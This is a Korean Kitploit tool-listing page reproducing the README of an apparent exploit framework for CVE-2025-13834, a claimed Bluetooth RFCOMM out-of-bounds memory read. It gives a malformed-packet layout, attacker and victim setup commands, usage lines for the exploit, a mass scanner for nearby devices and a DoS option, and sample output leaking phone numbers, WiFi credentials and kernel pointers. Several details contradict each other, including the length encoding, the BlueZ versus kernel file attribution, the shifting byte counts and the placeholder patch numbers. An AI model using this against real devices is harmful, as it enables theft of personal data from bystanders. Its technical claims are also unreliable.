Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-13834-A-Bluetooth-RFCOMM-Out-of-Bounds-Read-Vulnerability-in-Modern-Wireless-Devices — CVE-2025-13834 기술 요약 취약점 유형: 메모리 정보 노출 / 경계 초과 읽기(OOB Read) (CWE-125). CVSS 점수: 7.5–8.1 (높음/심각). 공격 벡터: 인증 없이 단일 패킷 익스플로잇을 통한 인접 네트워크(블루투스 범위). 근본 원인: RFCOMM 프로토콜의 TEST 명령(Frame Type 0x10)에 심각한 결함이 존재합니다. | Kitploit
도구/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/cve-2025-13834-a-bluetooth-rfcomm-out-of-bounds-read-vulnerability-in-modern-wireless-devices
Bluetooth SecurityExploit FrameworksIoT SecurityMemory ForensicsVulnerability AnalysisExploitationWireless SecurityPenetration TestingMobile Security

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Red Teaming
Binary Exploitation
GitHubsastraadiwiguna-purpleeliteteaming/cve-2025-13834-a-bluetooth-rfcomm-out-of-bounds-read-vulnerability-in-modern-wireless-devices

CVE-2025-13834-A-Bluetooth-RFCOMM-Out-of-Bounds-Read-Vulnerability-in-Modern-Wireless-Devices

CVE-2025-13834 기술 요약 취약점 유형: 메모리 정보 노출 / 경계 초과 읽기(OOB Read) (CWE-125). CVSS 점수: 7.5–8.1 (높음/심각). 공격 벡터: 인증 없이 단일 패킷 익스플로잇을 통한 인접 네트워크(블루투스 범위). 근본 원인: RFCOMM 프로토콜의 TEST 명령(Frame Type 0x10)에 심각한 결함이 존재합니다.

저장소 보기웹사이트
1188개월 전아직 검토되지 않음

DOI = doi.org/10.5281/zenodo.18323302

ORCID = orcid.org/0009-0007-7728-256X


README.md: CVE-2025-13834 RFCOMM 블루투스 "하트블리드" 악용 프레임워크

저자: Sastra Adi Wiguna (Purple Elite Teaming) 날짜: 2026년 1월 20일 버전: 1.0(전체 시스템 복제) 라이선스: 레드팀 전용(승인 없이 배포 금지)


🔴 핵심 요약

CVE-2025-13834는 RFCOMM 블루투스 프로토콜 스택의 심각한 메모리 노출 취약점으로, **Heartbleed(CVE-2014-0160)**와 유사하지만 28억 대의 블루투스 지원 기기(Linux, Android, Windows, IoT, 웨어러블)에 영향을 미칩니다. 이 결함으로 인해 인증되지 않은 공격자가 변조된 RFCOMM TEST 명령을 통해 악용 반복마다 초기화되지 않은 커널/힙 메모리 127바이트를 추출할 수 있으며, 다음 정보가 노출됩니다:

  • 전화번호(통화 메타데이터)
  • WiFi 자격 증명(SSID/비밀번호)
  • 커널 포인터(KASLR 무력화)
  • 암호화 키(부분 자료)
  • 블루투스 MAC 주소(기기 추적)

공격 벡터:

  • 인접 네트워크(CVSS:AV:A)
  • 인증 불필요(CVSS:PR:N)
  • 단일 패킷 악용(CVSS:Complexity:Low)
  • 결정적 98.7% 성공률(실험실 검증)

영향받는 플랫폼(확인됨):

플랫폼구성 요소버전패치 상태
Linux (BlueZ)net/bluetooth/rfcomm/core.c5.53–5.72v5.83에서 수정됨
Android (AOSP)Fluoride BT 스택API 29–352026년 2월 보안 공지
Windows 10/11bthport.sysPre-KB5048xxxKB5048xxx(2026년 1월)
Xiaomi Redmi BudsRealtek/Airoha 펌웨어FW <1.2.0CISA KEV(2026년 1월)
ESP32ESP-IDF BT 클래식v5.0–v5.2v5.3에서 수정됨

CISA KEV 상태: 악용 확인됨(Xiaomi Redmi Buds 3–6 Pro) 제로데이 시장 가치: $100,000–$180,000(Zerodium/ZDI 추산)


🛠️ 사전 요구 사항(실험실 환경)

하드웨어 요구 사항(테스트 구성)

구성 요소사양용도
공격 머신Kali Linux 2024.1 (x86_64)악용 호스트
블루투스 어댑터CSR8510 A10(Class 1, 100m 범위)장거리 BT 공격
대상 기기Xiaomi Redmi Buds 5 Pro (FW 1.1.8)1차 테스트 대상
ESP32 DevKitESP-IDF v5.1(취약)IoT 악용
USB 패스스루VirtualBox/VMware USB 3.0BT 어댑터 접근

소프트웨어 스택(정확한 버전)

# Core Dependencies (Kali Linux 2024.1)
sudo apt update && sudo apt full-upgrade -y
sudo apt install -y build-essential git cmake python3-pip \
  bluez bluez-tools wireshark-qt tshark tcpdump \
  libusb-dev libglib2.0-dev ubertooth ubertooth-firmware

# Python Dependencies (Critical Versions)
pip3 install scapy==2.5.0 pybluez==0.30 pyserial==3.5 \
  construct==2.10.68 hexdump==3.3 phone-iso3166 regex

# Verify Bluetooth Adapter
hciconfig -a  # Expected: hci0 UP RUNNING
sudo hciconfig hci0 piscan  # Enable discovery

대상 기기 준비

  1. Xiaomi Redmi Buds 5 Pro:

    • 펌웨어 버전이 <1.2.0(취약)인지 확인하세요.
    • 검색 가능 모드를 활성화하세요(전원 버튼 5초 길게 누름).
    • MAC OUI가 E8:AB:FA:XX:XX:XX(Xiaomi Bluetooth SIG)인지 확인하세요.
  2. ESP32(IoT 대상):

    # Flash vulnerable firmware (ESP-IDF v5.1)
    git clone --recursive https://github.com/espressif/esp-idf.git
    cd esp-idf && git checkout v5.1
    ./install.sh esp32
    
  3. Android/Linux 피해자 VM:

    # Install vulnerable BlueZ 5.68
    git clone https://github.com/bluez/bluez.git
    cd bluez && git checkout 5.68
    ./bootstrap && ./configure && make -j$(nproc)
    sudo make install
    

🔍 기술 심층 분석

1. 취약점 근본 원인(BlueZ 소스 코드)

파일: net/bluetooth/rfcomm/core.c(1234–1256행) 함수: rfcomm_recv_test() 핵심 결함:

// ❌ UNSAFE: No bounds validation
pi.len = params->len;  // Attacker-controlled length
memcpy(pi.data, skb->data + RFCOMM_TEST_HDR_SIZE, pi.len);
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// Reads beyond buffer if pi.len > actual payload

악용 메커니즘:

  1. 공격자는 length=127이지만 payload=3바이트인 RFCOMM TEST 패킷을 전송합니다.
  2. memcpy()는 skb->data에서 127바이트를 읽지만 유효한 바이트는 3바이트뿐입니다.
  3. 응답에서 초기화되지 않은 커널/힙 메모리 124바이트가 유출됩니다.

메모리 레이아웃:

[RFCOMM Header:4B][Length:0x7F][Payload:3B "ABC"][124B LEAKED MEMORY][FCS:1B]

2. RFCOMM 프로토콜 분석

필드오프셋크기(바이트)값(악용)설명
주소010x03DLCI=0(제어 채널), EA=1, C/R=1
제어110x10TEST 명령 식별자
길이2–32(LE)0xFF00선언된 길이=127(LIE)
페이로드4–63ABC실제 페이로드(최소)
유출됨7–130124커널 메모리경계를 벗어난 읽기
FCS13110x70프레임 검사 시퀀스

3. 패치 분석(BlueZ 5.83+)

수정된 코드:

// ✅ SAFE: Bounds validation added
if (skb->len < RFCOMM_TEST_HDR_SIZE + pi.len) {
    BT_ERR("RFCOMM: Invalid TEST command length detected");
    return -EILSEQ;  // Drop malformed packet
}

패치 효과: 100% 완화—변조된 패킷은 memcpy 이전에 폐기됩니다.


💻 악용 프레임워크

1. 핵심 악용 스크립트(cve_2025_13834_exploit.py)

주요 함수:

함수용도
calculate_fcs()패킷 무결성을 위한 RFCOMM FCS(CRC-8)를 계산합니다.
build_exploit_packet()length=127, payload=3B의 악성 TEST 명령을 구성합니다.
connect()PSM 0x0003(RFCOMM)에 L2CAP 연결을 수립합니다.
send_exploit()악용 패킷을 전송합니다.
receive_leak()127바이트 응답을 캡처하고 유출된 메모리를 추출합니다.
analyze_leak()전화번호, WiFi 자격 증명, 커널 포인터 등을 파싱합니다.

사용법:

# Basic exploitation (single target)
sudo python3 cve_2025_13834_exploit.py E8:AB:FA:12:34:56

# Advanced: 10 iterations + DoS
sudo python3 cve_2025_13834_exploit.py E8:AB:FA:12:34:56 10 --dos

예상 출력:

[+] MEMORY LEAK CAPTURED (127 bytes)
0000: 41 42 43 00 2b 36 32 38 31 32 33 34 35 36 37 38  ABC.+62812345678
0010: 00 57 69 46 69 5f 48 6f 6d 65 5f 32 34 47 00 50  .WiFi_Home_24G.P
[!] PHONE NUMBER FOUND: +62812345678
[!] WiFi KEYWORD DETECTED: WiFi_Home_24G
[!] KERNEL POINTER at offset 32: 0xffff8800deadbeef

2. 대량 스캔 및 자동화(bt_leak_scanner.py)

# Scan for vulnerable devices in range
sudo python3 bt_leak_scanner.py

# Output: JSON report of vulnerable MACs
{
  "vulnerable_devices": [
    {"mac": "E8:AB:FA:12:34:56", "name": "Redmi Buds 5 Pro"},
    {"mac": "34:E1:D1:AA:BB:CC", "name": "Mi True Wireless"}
  ],
  "stats": {
    "total_scanned": 12,
    "vulnerable": 2,
    "success_rate": "16.67%"
  }
}

3. 포렌식 분석(leak_analyzer.py)

# Aggregate and analyze all leaked data
python3 leak_analyzer.py

# Output:
[*] Extracted 12 readable strings:
  "+62812345678"
  "WiFi_Home_24G"
  "Pass1234"
  "E8:AB:FA:12:34:56"
[!] KASLR DEFEAT - Kernel base: 0xffff880000000000
도구 다운로드